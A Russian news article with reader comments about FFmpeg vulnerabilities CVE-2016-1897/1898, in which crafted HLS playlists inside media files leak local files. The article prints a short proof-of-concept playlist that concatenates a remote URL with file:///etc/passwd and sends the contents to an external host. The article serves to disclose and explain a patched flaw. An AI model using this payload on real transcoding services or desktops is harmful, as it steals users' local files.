В FFmpeg устранена уязвимость, которая может привести к утечке локальных файлов

16.01.2016 18:39

Доступны корректирующие обновления мультимедиа-пакета FFmpeg 2.8.5, 2.7.5, 2.6.7 и 2.5.10, в которых устранены опасные уязвимости (CVE-2016-1897, CVE-2016-1898) в реализации поддержки формата HLS (HTTP Live Streaming), которые могут привести к выгрузке произвольных файлов в случае обработки специально оформленных данных утилитами ffmpeg, ffprobe, avconv и avprobe. Например, уязвимость представляет угрозу сервисам, в которых осуществляется перекодирование или обработка поступающих от пользователей файлов при помощи ffmpeg/libav, и файловым менеджерам, использующим ffmpeg/libav для создания эскизов.

Уязвимость может использоваться для подстановки содержания произвольного локального файла в результат перекодирования или для отправки локального файла на произвольный внешний URL. В частности, можно передать для обработки файл с произвольным расширением (avi, mov и т.п.), в котором добавить заголовок и данные плейлиста в формате HLS m3u8, указав в качестве одного из элементов блок "concat" с внешним URL и локальным файлом, например:


   #EXTM3U
   #EXT-X-MEDIA-SEQUENCE:0
   #EXTINF:10.0,
   concat:http://test.com/header.m3u8|file:///etc/passwd
   #EXT-X-ENDLIST

В результате обработки данного файла ffmpeg загрузит http://test.com/header.m3u8, который может содержать:


   #EXTM3U
   #EXT-X-MEDIA-SEQUENCE:0
   #EXTINF:,
   http://example.org?

После обработки header.m3u8 ffmpeg передаст содержимое file:///etc/passwd в составе запроса на URL "http://example.org". Если вместо операции concat в переданном для обработки файле ограничиться указанием file:///etc/test.txt, то будет создан мультимедийный файл, включающий первую строку указанного локального файла.

исправить +13 +/–

Лицензия: CC BY 3.0

Короткая ссылка: https://opennet.ru/43685-ffmpeg

Ключевые слова: ffmpeg

При перепечатке указание ссылки на opennet.ru обязательно

Обсуждение (23)

1.1, soarin (ok), 19:17, 16/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↓] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
% brew info ffmpeg ffmpeg: stable 2.8.4 (bottled), HEAD Вот так посмотришь чего-то и похакают...

2.28, й (?), 16:55, 17/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]

+1 +/–

твои мак-серверы уже в безопасности, комрад:

> brew info ffmpeg

ffmpeg: stable 2.8.5 (bottled), HEAD

кстати, а какие практические применения мак-сервера кроме окружения для CI в яблочных проектах?

1.2, Anonplus (?), 19:43, 16/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↓] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+5 +/–
Самое крутое, что в той же убунте достаточно лишь скачать такой видеофайл и при создании эскиза в файловом менеджере сразу всё и произойдёт. Вот более подробное описание непосредственно от человека, обнаружившего уязвимость и отправившего патч в FFmpeg: http://habrahabr.ru/company/mailru/blog/274855/

2.3, soarin (ok), 20:03, 16/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	–2 +/–
Ну так в линуксах же всюду эскизы в файловых менеджерах делаются с помощью ffmpeg, а не только в той же ubuntu.

3.4, anon1984 (?), 20:35, 16/01/2016 [^] [^^] [^^^] [ответить] [↓] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
нет

4.26, soarin (ok), 13:25, 17/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
Ну что нет? Поглядел на Dolphin - тоже самое...

3.22, Аноним (-), 10:54, 17/01/2016 [^] [^^] [^^^] [ответить] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
Я у себя в KDE когда-то отключил из-за бага с disk i/o. Эти эскизы ещё попьют кровушки у народа.

1.5, Аноним (-), 22:00, 16/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↓] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+2 +/–
Пустил Tor через VPN. Скачал файл. Файл напрямую обратился к IP honeypot при запуске проигрывателя. ip добавлен в базу пиратов. Обращаемся к провайдеру и сверяем время/размер пакетов. Высылаем штраф или повестку в суд. Если автоматизировать операцию можно получить миллиарды долларовс Европы, Австралии, Японии или США.

2.6, Аноним (-), 22:01, 16/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
Не Tor, а торрент клиент через Tor или VPN. Или их комбинацию.

2.7, Аноним (-), 22:32, 16/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	–1 +/–
"Файл напрямую обратился к IP" Чтобы специально подготовленный видеофайл отправил запрос, нужно 1). Чтобы он воспроизводился с помощью ffmpeg, а это только полутора процентов в мире 2). И вообще, это в плагине HTTP Live Streaming баг, а не в обычной воспроизводилке.

3.29, Аноно (?), 11:26, 21/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
Нет, достаточно ПРОСТО ИМЕТЬ: файловый менеджер с эскизами (практически все дистрибутивы linux). А вот запускать надо с: свободный плеер (VLC/MPlayer) или ещё что-то использующее ffmpeg (например программу для работы с видео).

1.8, Аноним (-), 22:45, 16/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↓] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
Как он додумался до такого ? вообще всегда после сообщения о нахождении какой-то дыры у меня возникает вопрос КАК человек смог додуматься до такого ? Ибо я тоже так хочу

2.11, Аноним (-), 00:38, 17/01/2016 [^] [^^] [^^^] [ответить] [↓] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
человек либо копался в коде и сумел хорошо его понять, т.е. он или разраб, или зарабатывает на поиске багов именно в ffmpeg (это маловероятно); либо случайно напоролся, вероятность чего достаточно мала. поэтому скорее всего разраб.

3.15, Crazy Alex (ok), 04:22, 17/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+3 +/–
Вообще-то это скорее склад ума такой - понять, как нечто работает и оценить, что могло пойти не так. В сущности, для разработчика любых сложных систем это необходимый навык, только не у каждого он ещё дополняется достаточным интеллектуальным любопытством, чтобы после ментальных упражнений начинать ковыряться на практике и проверять свои предположения.

2.14, Аноним (-), 01:13, 17/01/2016 [^] [^^] [^^^] [ответить] [↓] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
Расслабься, тут нужно мозгом думать - не всем дано

3.16, Crazy Alex (ok), 04:23, 17/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
Дано-то всем, но не всем нравится

2.23, Аноним (-), 11:17, 17/01/2016 [^] [^^] [^^^] [ответить] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
В данном случае довольно простая идея. Использовать плейлист вместо реальной дорожки. Остальное уже вокруг. Чтобы так мочь, надо досконально знать вещи с уровня исходного кода реализации и выше. По времени примерно пять лет самообразования.

1.10, privation (?), 00:36, 17/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↓] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	–1 +/–
это только часть айсберга

2.13, Аноним (-), 00:47, 17/01/2016 [^] [^^] [^^^] [ответить] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+1 +/–
его обычно с титаниками используют вроде blender, vlc, mpv, mplayer, chrome, etc.

1.24, Аноним (-), 11:19, 17/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [↑] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	–1 +/–
Ник cdump - что может значить буква си?

1.25, iZEN (ok), 12:13, 17/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
% pkg info -r ffmpeg-2.8.4,1 ffmpeg-2.8.4,1: firefox-43.0.4_1,1 gstreamer1-libav-1.6.2 mpv-0.14.0,1 youtube_dl-2016.01.14 aqualung-1.0

1.27, Ыр2.0 (?), 15:16, 17/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
Когда во ффмпеге будет многопоточность для флака?

1.30, arisu (ok), 07:05, 22/01/2016 [ответить] [﹢﹢﹢] [ · · · ] [п╨ п╪п╬п╢п╣я─п╟я┌п╬я─я┐]	+/–
хоспаде, дался всем этот /etc/passwd… ну, на здоровье. помогло чем? http://dpaste.com/3BMFXPB

игнорирование участников | лог модерирования

Добавить комментарий

Имя:

E-Mail:

Текст: